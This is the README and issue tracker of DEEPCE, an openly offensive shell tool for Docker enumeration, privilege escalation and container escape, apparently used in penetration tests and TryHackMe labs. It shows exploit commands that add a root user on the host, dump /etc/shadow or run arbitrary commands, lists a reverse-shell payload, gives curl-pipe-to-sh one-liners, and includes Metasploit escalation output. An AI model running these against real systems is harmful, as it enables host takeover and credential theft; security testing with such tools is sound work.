stealthcopter/deepce

Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

deepce

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Website

Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

In order for it to be compatible with the maximum number of containers DEEPCE is written in pure sh with no dependencies. It will make use of additional tools such as curl, nmap, nslookup and dig if available but for the most part is not reliant upon them for enumeration.

None of the enumeration should touch the disk, however most of the exploits create new containers which will cause disk writes, and some exploits will overwrite runC which can be destructive, so be careful!

Please see below for a list of the enumerations, exploits and payloads DEEPCE can use. If you have ideas for anymore please submit an issue in github!

Downloading

DEEPCE can be downloaded onto a host or container using one of the following one-liners. Tip: download to /dev/shm to avoid touching the disk.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Support

If you love what I'm doing with Deepce and my other projects, you can now support my work directly! By buying me a coffee ☕, you're not just fueling my caffeine needs – you're helping me dedicate more time to developing and improving these open source projects. Every coffee counts and brings more innovation to the cybersecurity world. Thank you for your support – it means the world to me and the open source community!

Screenshots

For more please view the docs folder

Enumerations

The following is the list of enumerations performed by DEEPCE.

• Container ID & name (via reverse dns)
• Container IP / DNS Server
• Docker Version
• Interesting mounts
• Passwords in common files
• Environment variables
• Password hashes
• Common sensitive files stored in containers
• Other containers on same network
• Port scan other containers, and the host machine itself
• Find exposed docker sock

Exploits

• Docker Group Privilege Escalation
• Privileged mode host command execution
• Exposed Docker Sock

Payloads

For each of the exploits above payloads can be defined in order to exploit the host system. These include:

• Reverse TCP shell
• Print /etc/shadow
• Add new root user
• Run custom commands
• Run custom payload binaries

Examples

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Exploits

The following examples show the different kinds of exploits that can be performed and the avaliable payloads.

• Exploit a privileged container to create a new root user on the host operating system:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

• Exploit a writable docker sock file in order to print the contents of /etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow

• Escalate to root via membership to the docker group on a host and run a custom payload

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Advanced Usage

It is possible to download and run deepce without touching the disk, however you will be unable to easily set arguments (direct manipulation of variables is possible using export).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Inspiration

There are some great container enumeration/escape scripts and enumeration tools that I've got inspiration from when writing this. However I felt the need to write one purely in sh in order to avoid having to install go / ruby dependencies or be reliant on a static binary. I also wanted to be able to perform more enumerations to try to discover what the docker container is as during as test we may end up inside an unknown container. The number of things this script can enumerate got away from me as every time I added something new I thought of more additional things I could add.

• LinPEAS
• LinEnum
• BotB
• Harpoon

Resources

Developers looking for Docker security tips https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md

Contributing

I welcome pull requests, issues and feedback.

• Fork it
• Create your feature branch (git checkout -b my-new-feature)
• Commit your changes (git commit -am 'Added some feature')
• Push to the branch (git push origin my-new-feature)
• Create new Pull Request

deepce's Issues

Feature: List harddrives and other hardware found

Sometimes the hardrives and hardware can give away information about what type of host we're running on, add an option to list these (maybe not by default as it could be too noisy)

extra \n in start_vulnerable_docker.sh

metasploit@deepce:~$ ./start_vulnerable_docker.sh
Starting a vulnerable docker instances
Starting: privileged-ubuntu-5555

• Privileged container to escape
• Meteperter is running on port 5555
  5ec76862ff7682695d87fae5c221b80733d2d2b2e16d3e61ce75bf604e277137

Use metasploit to connect to this container and perform a container escape
7ab3d7d7fab7dbc981a197983f6a59442271636d5cca8c25ab8f10668af363c7
\nDone deepce{I bet this is a secret}
metasploit@deepce:~$

J

Running all the tests adds a new root user

When running all the tests the docker-alpine-payload-new-root-user test adds a new root user to the system, but doesn't remove it afterwards. This is probably fine for automated tests where the environment disappears afterwards, but presents a serious security risk from unsuspecting users running it on their own machines.

Misalignment of CVE-2019-5021

Minor issue but the alignment of the dots is off on this:

[+] Alpine Linux Version ...... 3.5.3
[+] CVE-2019-5021 Vulnerable .. Yes

Scan for devices on the local network

Currently we scan for other containers on the container network but we should scan for devices on the local network (if found to be different to the container network)

When the script runs it finds itself as passwords/secrets

When deepce.sh searches for secrets it should ignore it's own file to avoid spitting out the shell script

Documentation update on TryHackMe

Hello,

I see the steps on TryHackMe says to
use linux/local/lxc_privilege_escalation

However, when I search for the exploit I see it's labelled as "exploit/linux/local/lxc_privilege_escalation" Is this a problem?

Curl command needs -L option (follow redirects)

the curl command in the docs need the -L option to follow the redirect:
curl -sL https://github.com/stealthcopter/deepce/raw/master/deepce.sh -o deepce.sh

Feature: Search for Dockerfiles

Some developers leave Dockerfiles inside their containers, lets look for them :)

Rollback Exploits

would it be possible for the script to undo an exploit after performing it?

Use case: I want to run deepce on all my production containers to test if they are exploitable but don't want it to litter them all

assignment mismatch: 2 variables but scanner.Run returns 3 values

Hello,

I tried installing the tool on my MacBook and I got this err cmd/gorsair.go:68:18: assignment mismatch: 2 variables but scanner.Run returns 3 values. I looked at the code block and noticed the potential issue:

	results, err := scanner.Run()
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

I changed it to handle 3 outputs. I am only creating it here rather than apool request bc I wasn't sure if it would break anything

	results, _, err := scanner.Run()
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

Feature request: Check container capabilities (e.g. CAP_SYS_MODULE)

Capabilities such as CAP_SYS_MODULE allow for escapes.
It would be nice if the script ran capsh --print or similar and highlighted dangerous permissions, possibly with descriptions or links for found dangerous permissions.

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#container-capabilities

Add explanation of the colors

It's not clear what the all the different text colors signify, can you add a table or something to describe them like linPEAS does?

Problem with exploits/linux/local/lxc_privilege_escalation

I'm having a problem with "exploits/linux/local/lxc_privilege_escalation" are you able to help?

msf5 exploit(multi/handler) > use exploit/linux/local/lxc_privilege_escalation
[*] Using configured payload linux/x64/exec
msf5 exploit(linux/local/lxc_privilege_escalation) > set session 1
session => 1
msf5 exploit(linux/local/lxc_privilege_escalation) > set CMD cat /etc/passwd
CMD => cat /etc/passwd
msf5 exploit(linux/local/lxc_privilege_escalation) > set AutoDeleteContainer true
AutoDeleteContainer => true
msf5 exploit(linux/local/lxc_privilege_escalation) > run

[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. There are no local images we can use, please download an image such as alpine or ubuntu.
[*] Using base image 
[*] Writing payload executable to '/tmp/slCLSPJBaRm'
[*] Executing script to create and run LXC container
[*] Creating container
[*] Adding mount to container
[*] Starting container
[*] Executing payload inside container
[*] error: not found
[*] Removing container (IIjqwvjad)
[*] error: not found
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/lxc_privilege_escalation) > 

TryHackMe Task 2 Option 1.

Hi,

I'm just blindly following your documentation and I'm having trouble on the second task.

ubuntu@deepce:~$ docker cp /opt/deepce/deepce.sh alpine-container_name:/
ubuntu@deepce:~$ docker alpine-container_name exec /deepce.sh
docker: 'alpine-container_name' is not a docker command.
See 'docker --help'
ubuntu@deepce:~$ 

What am I doing wrong??

I know alpine-container_name Isn't the same. I changed it because I didn't want to give away an answer.

\n rendering incorrectly

in the help message:

Users in the docker group can escalate to root on the host by mounting the host partition inside the container and chrooting into it.\ndeepce.sh -e DOCKER\nSee https://stealthcopter.github.io/deepce/guides/docker-group.md

Replace sleep with a better method of checking if network is up

Currently a sleep 2 is introduced betfore attempting to enumerate the network. This was needed to ensure that the network finished setting up for newly run containers. This only really affects the testing scripts as normal containers would already have networks setup and running by time script is run, so the sleep should be removed so normal users aren't slowed down.

Move the virtual machine / tryhackme to it's own branch

Move the virtual machine into it's own branch in order not to dirty the main branch, as the master branch should contain the code and tests.

Grep Unrecognized option | BusyBox

While running the docker wrapper, the following error was observed while enumerating a BusyBox instance.

[+] Interesting files in root ........... No
grep: unrecognized option: exclude=deepce.sh
BusyBox v1.31.1 () multi-call binary.

Usage: grep [-HhnlLoqvsriwFE] [-m N] [-A/B/C N] PATTERN/-e PATTERN.../-f FILE [FILE]...

Search for PATTERN in FILEs (or stdin)

	-H	Add 'filename:' prefix
	-h	Do not add 'filename:' prefix
	-n	Add 'line_no:' prefix
	-l	Show only names of files that match
	-L	Show only names of files that don't match
	-c	Show only count of matching lines
	-o	Show only the matching part of line
	-q	Quiet. Return 0 if PATTERN is found, 1 otherwise
	-v	Select non-matching lines
	-s	Suppress open and read errors
	-r	Recurse
	-i	Ignore case
	-w	Match whole words only
	-x	Match whole lines only
	-F	PATTERN is a literal (not regexp)
	-E	PATTERN is an extended regexp
	-m N	Match up to N times per file
	-A N	Print N lines of trailing context
	-B N	Print N lines of leading context
	-C N	Same as '-A N -B N'
	-e PTRN	Pattern to match
	-f FILE	Read pattern from file
[+] Passwords in common files ........... No

Cheers

Wrapper scripts only work if called from the current directory

For example call /opt/deepce/docker-wraper.sh and the script will fail as it will look in current dir for the script instead of the correct path.

grep: wrong argument order

The issued grep command to find out the the listening port of ssh (https://github.com/stealthcopter/deepce/blob/master/deepce.sh#L564) has a wrong order of arguments as the man page says: grep [OPTION...] PATTERNS [FILE...].

diff --git a/deepce.sh b/deepce.sh
index d96ec37..99eae3e 100755
--- a/deepce.sh
+++ b/deepce.sh
@@ -561,7 +561,7 @@ containerServices() {
   # shellcheck disable=SC2181
   if [ $? -eq 0 ]; then
     if [ -f "/etc/ssh/sshd_config" ]; then
-      sshPort=$(grep /etc/ssh/sshd_config  "^Port" || echo "Port 22" | cut -d' ' -f2)
+      sshPort=$(grep "^Port" /etc/ssh/sshd_config || echo "Port 22" | cut -d' ' -f2)
       printSuccess "Yes (port $sshPort)"
     else
       printSuccess "Yes"

[Feature] Add detection for rootless docker

Detect if docker is rootless, because priv esc wont work then.

Add lxc / lxd group priv esc

Similar to the docker group priv esc, add a lxd group priv esc.

Script not running (Permission denied)

Hi

I downloaded the script as outlined in your README using "wget https://github.com/stealthcopter/deepce/raw/master/deepce.sh"

When trying to run the script, I get "bash: ./deepce.sh: Permission denied"

Please help